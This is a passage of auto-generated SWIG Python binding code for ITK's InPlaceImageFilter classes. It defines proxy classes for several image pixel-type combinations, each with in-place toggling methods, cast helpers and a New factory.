itkInPlaceImageFilterISS3IRGBAUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS3IRGBAUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_SetInPlace, None, itkInPlaceImageFilterISS3IRGBAUC3) itkInPlaceImageFilterISS3IRGBAUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_GetInPlace, None, itkInPlaceImageFilterISS3IRGBAUC3) itkInPlaceImageFilterISS3IRGBAUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_InPlaceOn, None, itkInPlaceImageFilterISS3IRGBAUC3) itkInPlaceImageFilterISS3IRGBAUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_InPlaceOff, None, itkInPlaceImageFilterISS3IRGBAUC3) itkInPlaceImageFilterISS3IRGBAUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_CanRunInPlace, None, itkInPlaceImageFilterISS3IRGBAUC3) itkInPlaceImageFilterISS3IRGBAUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_swigregister itkInPlaceImageFilterISS3IRGBAUC3_swigregister(itkInPlaceImageFilterISS3IRGBAUC3) def itkInPlaceImageFilterISS3IRGBAUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IRGBAUC3 *": """itkInPlaceImageFilterISS3IRGBAUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_cast(obj) class itkInPlaceImageFilterISS3IRGBUC3(itkImageToImageFilterBPython.itkImageToImageFilterISS3IRGBUC3): """Proxy of C++ itkInPlaceImageFilterISS3IRGBUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS3IRGBUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS3IRGBUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS3IRGBUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS3IRGBUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IRGBUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS3IRGBUC3 Create a new object of the class itkInPlaceImageFilterISS3IRGBUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS3IRGBUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS3IRGBUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS3IRGBUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS3IRGBUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_SetInPlace, None, itkInPlaceImageFilterISS3IRGBUC3) itkInPlaceImageFilterISS3IRGBUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_GetInPlace, None, itkInPlaceImageFilterISS3IRGBUC3) itkInPlaceImageFilterISS3IRGBUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_InPlaceOn, None, itkInPlaceImageFilterISS3IRGBUC3) itkInPlaceImageFilterISS3IRGBUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_InPlaceOff, None, itkInPlaceImageFilterISS3IRGBUC3) itkInPlaceImageFilterISS3IRGBUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_CanRunInPlace, None, itkInPlaceImageFilterISS3IRGBUC3) itkInPlaceImageFilterISS3IRGBUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_swigregister itkInPlaceImageFilterISS3IRGBUC3_swigregister(itkInPlaceImageFilterISS3IRGBUC3) def itkInPlaceImageFilterISS3IRGBUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IRGBUC3 *": """itkInPlaceImageFilterISS3IRGBUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IRGBUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBUC3_cast(obj) class itkInPlaceImageFilterISS3ISS3(itkImageToImageFilterAPython.itkImageToImageFilterISS3ISS3): """Proxy of C++ itkInPlaceImageFilterISS3ISS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS3ISS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS3ISS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS3ISS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS3ISS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3ISS3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS3ISS3 Create a new object of the class itkInPlaceImageFilterISS3ISS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS3ISS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS3ISS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS3ISS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS3ISS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_SetInPlace, None, itkInPlaceImageFilterISS3ISS3) itkInPlaceImageFilterISS3ISS3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_GetInPlace, None, itkInPlaceImageFilterISS3ISS3) itkInPlaceImageFilterISS3ISS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_InPlaceOn, None, itkInPlaceImageFilterISS3ISS3) itkInPlaceImageFilterISS3ISS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_InPlaceOff, None, itkInPlaceImageFilterISS3ISS3) itkInPlaceImageFilterISS3ISS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_CanRunInPlace, None, itkInPlaceImageFilterISS3ISS3) itkInPlaceImageFilterISS3ISS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_swigregister itkInPlaceImageFilterISS3ISS3_swigregister(itkInPlaceImageFilterISS3ISS3) def itkInPlaceImageFilterISS3ISS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3ISS3 *": """itkInPlaceImageFilterISS3ISS3_cast(itkLightObject obj) -> itkInPlaceImageFilterISS3ISS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3ISS3_cast(obj) class itkInPlaceImageFilterISS3IUC3(itkImageToImageFilterAPython.itkImageToImageFilterISS3IUC3): """Proxy of C++ itkInPlaceImageFilterISS3IUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS3IUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS3IUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS3IUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS3IUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS3IUC3 Create a new object of the class itkInPlaceImageFilterISS3IUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS3IUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS3IUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS3IUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS3IUC3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_SetInPlace, None, itkInPlaceImageFilterISS3IUC3) itkInPlaceImageFilterISS3IUC3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_GetInPlace, None, itkInPlaceImageFilterISS3IUC3) itkInPlaceImageFilterISS3IUC3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_InPlaceOn, None, itkInPlaceImageFilterISS3IUC3) itkInPlaceImageFilterISS3IUC3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_InPlaceOff, None, itkInPlaceImageFilterISS3IUC3) itkInPlaceImageFilterISS3IUC3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_CanRunInPlace, None, itkInPlaceImageFilterISS3IUC3) itkInPlaceImageFilterISS3IUC3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_swigregister itkInPlaceImageFilterISS3IUC3_swigregister(itkInPlaceImageFilterISS3IUC3) def itkInPlaceImageFilterISS3IUC3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IUC3 *": """itkInPlaceImageFilterISS3IUC3_cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUC3_cast(obj) class itkInPlaceImageFilterISS3IUS3(itkImageToImageFilterAPython.itkImageToImageFilterISS3IUS3): """Proxy of C++ itkInPlaceImageFilterISS3IUS3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS3IUS3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS3IUS3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS3IUS3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS3IUS3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IUS3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS3IUS3 Create a new object of the class itkInPlaceImageFilterISS3IUS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS3IUS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS3IUS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS3IUS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS3IUS3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_SetInPlace, None, itkInPlaceImageFilterISS3IUS3) itkInPlaceImageFilterISS3IUS3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_GetInPlace, None, itkInPlaceImageFilterISS3IUS3) itkInPlaceImageFilterISS3IUS3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_InPlaceOn, None, itkInPlaceImageFilterISS3IUS3) itkInPlaceImageFilterISS3IUS3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_InPlaceOff, None, itkInPlaceImageFilterISS3IUS3) itkInPlaceImageFilterISS3IUS3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_CanRunInPlace, None, itkInPlaceImageFilterISS3IUS3) itkInPlaceImageFilterISS3IUS3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_swigregister itkInPlaceImageFilterISS3IUS3_swigregister(itkInPlaceImageFilterISS3IUS3) def itkInPlaceImageFilterISS3IUS3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IUS3 *": """itkInPlaceImageFilterISS3IUS3_cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IUS3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IUS3_cast(obj) class itkInPlaceImageFilterIUC2IF2(itkImageToImageFilterAPython.itkImageToImageFilterIUC2IF2): """Proxy of C++ itkInPlaceImageFilterIUC2IF2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC2IF2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC2IF2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC2IF2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC2IF2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC2IF2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC2IF2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IF2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IF2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC2IF2 Create a new object of the class itkInPlaceImageFilterIUC2IF2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC2IF2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC2IF2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC2IF2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC2IF2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_SetInPlace, None, itkInPlaceImageFilterIUC2IF2) itkInPlaceImageFilterIUC2IF2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_GetInPlace, None, itkInPlaceImageFilterIUC2IF2) itkInPlaceImageFilterIUC2IF2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_InPlaceOn, None, itkInPlaceImageFilterIUC2IF2) itkInPlaceImageFilterIUC2IF2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_InPlaceOff, None, itkInPlaceImageFilterIUC2IF2) itkInPlaceImageFilterIUC2IF2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_CanRunInPlace, None, itkInPlaceImageFilterIUC2IF2) itkInPlaceImageFilterIUC2IF2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_swigregister itkInPlaceImageFilterIUC2IF2_swigregister(itkInPlaceImageFilterIUC2IF2) def itkInPlaceImageFilterIUC2IF2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IF2 *": """itkInPlaceImageFilterIUC2IF2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IF2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IF2_cast(obj) class itkInPlaceImageFilterIUC2IRGBAUC2(itkImageToImageFilterBPython.itkImageToImageFilterIUC2IRGBAUC2): """Proxy of C++ itkInPlaceImageFilterIUC2IRGBAUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC2IRGBAUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC2IRGBAUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IRGBAUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC2IRGBAUC2 Create a new object of the class itkInPlaceImageFilterIUC2IRGBAUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC2IRGBAUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC2IRGBAUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC2IRGBAUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC2IRGBAUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_SetInPlace, None, itkInPlaceImageFilterIUC2IRGBAUC2) itkInPlaceImageFilterIUC2IRGBAUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_GetInPlace, None, itkInPlaceImageFilterIUC2IRGBAUC2) itkInPlaceImageFilterIUC2IRGBAUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_InPlaceOn, None, itkInPlaceImageFilterIUC2IRGBAUC2) itkInPlaceImageFilterIUC2IRGBAUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_InPlaceOff, None, itkInPlaceImageFilterIUC2IRGBAUC2) itkInPlaceImageFilterIUC2IRGBAUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_CanRunInPlace, None, itkInPlaceImageFilterIUC2IRGBAUC2) itkInPlaceImageFilterIUC2IRGBAUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_swigregister itkInPlaceImageFilterIUC2IRGBAUC2_swigregister(itkInPlaceImageFilterIUC2IRGBAUC2) def itkInPlaceImageFilterIUC2IRGBAUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IRGBAUC2 *": """itkInPlaceImageFilterIUC2IRGBAUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBAUC2_cast(obj) class itkInPlaceImageFilterIUC2IRGBUC2(itkImageToImageFilterBPython.itkImageToImageFilterIUC2IRGBUC2): """Proxy of C++ itkInPlaceImageFilterIUC2IRGBUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIUC2IRGBUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIUC2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIUC2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIUC2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIUC2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIUC2IRGBUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIUC2IRGBUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIUC2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIUC2IRGBUC2 Create a new object of the class itkInPlaceImageFilterIUC2IRGBUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIUC2IRGBUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIUC2IRGBUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIUC2IRGBUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIUC2IRGBUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_SetInPlace, None, itkInPlaceImageFilterIUC2IRGBUC2) itkInPlaceImageFilterIUC2IRGBUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_GetInPlace, None, itkInPlaceImageFilterIUC2IRGBUC2) itkInPlaceImageFilterIUC2IRGBUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIUC2IRGBUC2_InPlaceOn, None, itkInPlaceImageFilterIUC2IRGBUC2) itkInPlaceImageFilterIUC2IRGBUC2.InPlaceOff = 